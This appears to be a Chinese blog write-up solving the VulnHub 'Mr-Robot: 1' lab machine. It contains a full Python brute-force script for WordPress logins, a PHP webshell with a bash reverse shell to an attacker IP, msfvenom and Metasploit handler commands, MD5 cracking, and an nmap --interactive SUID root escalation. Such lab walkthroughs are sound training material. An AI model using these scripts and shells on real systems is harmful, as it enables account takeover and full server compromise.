【Vulnhub通关】Mr-Robot:1


准备工作

靶机基本信息

靶机名称:Mr-Robot 1

操作系统:Linux

虚拟机软件:VirtualBox

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机的3个Flag和root权限

下载地址:1. Mr-Robot: 1 ~ VulnHub(VirtualBox版)

2. Mr-Robot_1.7z_免费高速下载|百度网盘-分享无限制 (推荐VMware版)

环境配置

将下载的压缩文件解压之后,点击VMware Workstation主页的File => Open选项,在文件选择窗口中选中Mr-Robot_1.ovf文件打开即可

P.S. 别忘了拍快照哦~


信息收集

IP地址发现

在Kali Linux中,使用netdiscover命令发现靶机IP地址:

shell 复制代码
netdiscover -r 192.168.2.0/24

可以看到设备名为VMware, Inc.的机器为靶机,IP地址为192.168.2.104

防火墙探测

知道靶机IP地址之后,我们首先来进行一波防火墙信息探测。

首先使用ICMP探测:

Text 复制代码
┌──(root㉿attacker)-[~]
└─# ping -c 4 192.168.2.104
PING 192.168.2.104 (192.168.2.104) 56(84) bytes of data.
64 bytes from 192.168.2.104: icmp_seq=1 ttl=64 time=1.38 ms
64 bytes from 192.168.2.104: icmp_seq=2 ttl=64 time=1.12 ms
64 bytes from 192.168.2.104: icmp_seq=3 ttl=64 time=0.915 ms
64 bytes from 192.168.2.104: icmp_seq=4 ttl=64 time=0.968 ms

--- 192.168.2.104 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.915/1.095/1.381/0.180 ms

可以看到攻击机和靶机连通性良好。

使用Nmap进行ACK探测:

shell 复制代码
nmap -sA -T4 -p- 192.168.2.104

可以看到靶机开放了3个端口,大概率存在防火墙。

网络服务扫描

知道了靶机的防火墙信息之后,我们对其进行网络服务扫描:

shell 复制代码
nmap -sS -sV -O -p- -oN ./tcp_result.txt 192.168.2.104

可以看到靶机对外有如下端口:

端口 状态 传输层协议 应用层协议 详细信息
22 关闭 TCP SSH 未知
80 开启 TCP HTTP Apache httpd
443 开启 TCP HTTPS Apache httpd

同时发现靶机操作系统为Linux,内核版本大概为Linux 3.10 - 4.11


服务探测(Web应用程序)

由于靶机只对外开放了HTTP(S)服务,所以本篇内容只进行针对Web应用的服务探测。

首先打开浏览器,访问靶机主页:http://192.168.2.104/,随后你会看到一段开场动画:

emmm。。。属实一开局就把人给整愣住了。。。

在确认该网页并未使用任何前端SSH框架之后,我决定看看里面是什么,于是输入了网页提供的命令,结果发现了一些中二气息爆棚的内容,大概是作者想以凡人之躯撼动世界之上的规则。这里放几张截图:

然后在摸鱼时发现了这张图,突然释怀地笑:

所以......给这个美好的世界献上一发爆裂魔法吧!(bushi

好了,接下来用dirsearch扫描一下目录:

shell 复制代码
dirsearch -u http://192.168.2.104/ -x 301,403,404

可以看到有如下关键目录:

  • /wp-admin     =>     WordPress后台
  • /intro       =>     网站动画目录
  • /sitemap      =>     XML内容
  • /wp-content    =>     WordPress插件目录
  • favicon.ico    =>     网站图标
  • license.txt    =>     WordPress开源证书
  • wp-login.php    =>     WordPress后台登录页
  • readme.html    =>     WordPress安装说明
  • robots.txt     =>     网站反爬信息
  • wp-config.php   =>     WordPress配置文件
  • wp-cron.php    =>     未知
  • xmlrpc.php     =>     未知

可以判断出靶机网站使用了WordPress。先看看robots.txt中有什么:

Text 复制代码
┌──(root㉿attacker)-[/home/hacker]
└─# curl http://192.168.2.104/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt

很好,成功找到了第一个Flag文件key-1-of-3.txt

下载一下fsocity.dic文件看看:

看样子只能爆破登录用户密码了。


渗透测试

爆破WordPress账密

首先我们打开BurpSuite,过一下登录流程来确定路由信息:

可以看到POST内容中的logpwd两个参数为用户名密码参数。但是在之前尝试登录时发现,如果输入了错误的用户名,会看到ERROR: Invalid username.这条报错信息。因此我们可以利用这个设计缺陷来爆破用户名。

将该请求发送至Intruder模块,然后将log参数的内容打上爆破标识:

然后进入Payloads标签页配置攻击载荷:

点击Start Attack按钮开始爆破:

可以看到第15行请求的载荷为Elliot,这行请求返回的长度为4232,而其它请求返回的长度都为4182,由此确定Elliot为正确的用户名。尝试查看:

果然!!!

接下来进行密码爆破。因为字典过大且有很多重复内容,我们通过编写Python脚本来对其进行去重和破解。代码如下:

Python 复制代码
import os
import requests
import threading

def blockPwdList():
    global passwordList
    global pwdListCount
    global threads
    pieceLength = pwdListCount // threads
    newPassList = []
    for i in range(0, pwdListCount, pieceLength):
        newPassList.append(passwordList[i:i+pieceLength])
    return newPassList

def brute(passLst, url):
    target = url
    header = {
        "Host": "192.168.2.104",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Connection": "keep-alive",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "s_fid=17A2B3F6B224AF9B-20D537F80C0FD34E; s_nr=1703127074425; s_cc=true; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check",
        "Origin": "http://192.168.2.104",
        "Referer": "http://192.168.2.104/wp-login.php",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0",
        }
    for i in range(0, len(passLst)):
        postdata = {
            "log":"Elliot",
            "pwd":str(passLst[i]),
            "rememberme":"forever",
            "wp-submit":"Log+In",
            "redirect_to":"http://192.168.2.104/wp-admin/",
            "testcookie":"1"
            }
        print("[*] Trying: %s"%(str(passLst[i])))
        try:
            resp = requests.post(url=target, headers=header, data=postdata,allow_redirects=False)
        except:
            print("[*] Network error!")
            s._exit(0)
        if resp and "ERROR" not in resp.text:
            print("[+] Found: %s"%(str(passLst[i])))
            print("[*] Exiting......")
            os._exit(0)

targetUrl = "http://192.168.2.104/wp-login.php"
username = "Elliot"
pwdDict = "./fsocity.dic"
passwordList = []
pwdListCount = 0
threads = 50
threadsPool = []
  
with open(pwdDict,'r') as dictReader:
    passwordList = dictReader.readlines()
    
passwordList = list(set(passwordList))
pwdListCount = len(passwordList)
for i in range(0,pwdListCount - 1): passwordList[i] = passwordList[i].strip("\n")
passwordList = blockPwdList()
threads = len(passwordList)

for i in range(0, threads):
    eachlst = passwordList[i]
    eachThread = threading.Thread(target=brute, args=(eachlst,targetUrl))
    threadsPool.append(eachThread)

for eachthread in threadsPool:
    eachthread.start()
for eachthread in threadsPool:
    eachthread.join()

print("[*] Exiting...")

脚本首先定义了目标网址、字典文件地址、线程数、已知用户名 等信息,然后打开字典文件并一次性将内容逐行读入内存,随后对其进行了去重、去末尾\n字符 后保存为新数组。接着使用blockPwdList()函数对其按线程数进行了切片,最后使用多线程进行爆破。

爆破结果如下,可以看到只使用了2分22秒就找出了正确结果,而去重后的密码数多达1万个:

(这里因为担心虚拟机性能问题,直接使用物理机进行爆破)

成功找到WordPress的登录信息:

  • 用户名:Elliot
  • 密码:ER28-0652

直接登录:

WordPress插件提权

登录之后翻看后台,在插件商店页面中发现有上传自定义插件的按钮Upload Plugin,点击后界面如下:

看来是要我们将编写好的插件打包在.zip压缩文件中上传。我们点击左侧的Plugins => Editor按钮进入插件编辑器,发现插件都是PHP程序

既然如此,那么我们直接使用Metasploit生成一个可以反弹Shell的PHP木马上传 (下面的注释必须添加)

PHP 复制代码
<?php
/*
Plugin Name: WebShell
Plugin URI: https://zayu.net/
Description: webshell
Author: silverwolf
Version: 0.1
Author URI: https://silverwolf.net/
*/

/* More PHP codes... */
?>
shell 复制代码
msfvenom -p php/reverse_php LHOST=192.168.2.50 LPORT=20000 -f raw > ./webshell.php

随后将其打包为webshell.zip文件上传:

然后在攻击机上监听20000号端口:

shell 复制代码
msfconsole
use exploit/multi/handler
set payload php/reverse_php
set LHOST 192.168.2.50
set LPORT 20000
run

接着去插件中心找到上传的木马插件并激活:

反弹是成功了,不过老是不稳定,连上一会儿就自动断开。

最后找到了编辑404.php页面的界面,在文件最底部加上了PHP一句话木马:

打开BurpSuite,在浏览器中访问http://192.168.2.104/404.php,截包发送至Repeater,在code参数后面加上id命令:

成功!!!

现在尝试给404.php增加反弹Shell功能:

PHP 复制代码
<?php
/**
 * The template for displaying 404 pages (not found)
 *
 * @package WordPress
 * @subpackage Twenty_Fifteen
 * @since Twenty Fifteen 1.0
 */

$cmd = $_GET['code'];
if (!isset($cmd) || empty($cmd)){
    die("The GET arument 'code' must be set!");
}
if ($cmd === "reverse_shell"){
    $sock = fsockopen("192.168.2.50",20000);
    system("/bin/bash -i <&3 >&3 2>&3");
} else {
    system($cmd);
}

?>

点击下面的Update File按钮提交修改,接下来在BurpSuite中发送请求,其中GET参数cmd的内容为reverse_shell,发送前使用rlwrap nc -lvnp 20000命令在本地开启监听

但Shell还是不稳定,刚连上就断开了。。。

最后还是决定使用Kali Linux中自带的php-reverse-shell.php来替换404.php,路径为/usr/share/webshells/php/php-reverse-shell.php

成功!


权限提升

本地信息收集

进入系统之后,我们使用如下命令进行信息收集:

系统版本信息

shell 复制代码
uname -arn && cat /proc/version

发行版信息

shell 复制代码
cat /etc/os-release

用户信息

shell 复制代码
id

家目录信息

shell 复制代码
ls -lAR /home

可以看到/home/robot目录下有敏感文件。

解密robot用户密码

通过刚才的信息收集,我们已经得知robot用户家目录下有如下敏感文件:

  • key-2-of-3.txt,权限为400,暂时无权查看
  • password.raw-md5,权限为644

我们查看password.raw-md5文件:

Text 复制代码
$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

很明显是Linux用户密码的加密值,直接送去解密:

得到登录信息:

  • 用户名:robot
  • 密码:abcdefghijklmnopqrstuvwxyz

直接切换用户 (需要获取bash的Shell)

shell 复制代码
python -c "import pty;pty.spawn('/bin/bash')"
su robot

成功获取第二个Flag:

旧版本Nmap提权

登录进了robot用户之后,尝试执行sudo -l命令(这里改过密码):

Text 复制代码
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: *********

Sorry, user robot may not run sudo on linux.

看来robot用户不在Sudo组中。

查找一下具有SUID位的文件

shell 复制代码
find / -perm -u=s -type f 2>/dev/null

嗯???为什么靶机里会安装Nmap????

尝试看一下Nmap的版本:

Text 复制代码
robot@linux:~$ nmap -V
nmap -V

nmap version 3.81 ( http://www.insecure.org/nmap/ )

看来确实是Nmap无疑了,而且版本还很老,非常奇怪。。。。

看一下帮助信息,发现了一个陌生的参数:

这是个啥?百度一下,发现:

也就是说,版本号在2.025.21之间的Nmap可以使用--interactive参数执行任意命令。

好好好,这波是把自己玩进去了逝吧。。。

执行命令:

shell 复制代码
nmap --interactive

查看帮助信息,发现键入! <command>可以执行命令。我们直接查看用户ID:

Text 复制代码
nmap> ! id
! id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
waiting to reap child : No child processes

非常好!EUIDroot,开始修改root用户密码。

但是这里我们无法直接使用passwd命令修改密码,因为实际的UID还是robot这里我们可以使用Python的os库的setuid()方法将实际UID设置为0后,使用system()方法执行passwd命令。

Text 复制代码
nmap> ! python -c "import os;os.setuid(0);os.system('passwd root')"
! python -c "import os;os.setuid(0);os.system('passwd root')"
Enter new UNIX password: *********

Retype new UNIX password: *********

passwd: password updated successfully
waiting to reap child : No child processes

直接切换root用户:

成功!!!


本次靶机渗透到此结束

相关推荐
ac-er88882 分钟前
PHP弱类型安全问题
开发语言·安全·php
One_Blanks9 分钟前
渗透测试-Linux基础(1)
linux·运维·安全
易云码28 分钟前
信息安全建设方案,网络安全等保测评方案,等保技术解决方案,等保总体实施方案(Word原件)
数据库·物联网·安全·web安全·低代码
Qspace丨轻空间1 小时前
气膜场馆:推动体育文化旅游创新发展的关键力量—轻空间
大数据·人工智能·安全·生活·娱乐
Suckerbin3 小时前
Hms?: 1渗透测试
学习·安全·网络安全
Diamond技术流3 小时前
从0开始学习Linux——网络配置
linux·运维·网络·学习·安全·centos
Spring_java_gg3 小时前
如何抵御 Linux 服务器黑客威胁和攻击
linux·服务器·网络·安全·web安全
newxtc4 小时前
【国内中间件厂商排名及四大中间件对比分析】
安全·web安全·网络安全·中间件·行为验证·国产中间件
weixin_442643425 小时前
推荐FileLink数据跨网摆渡系统 — 安全、高效的数据传输解决方案
服务器·网络·安全·filelink数据摆渡系统
星尘安全6 小时前
安全工程师入侵加密货币交易所获罪
安全·区块链·漏洞·加密货币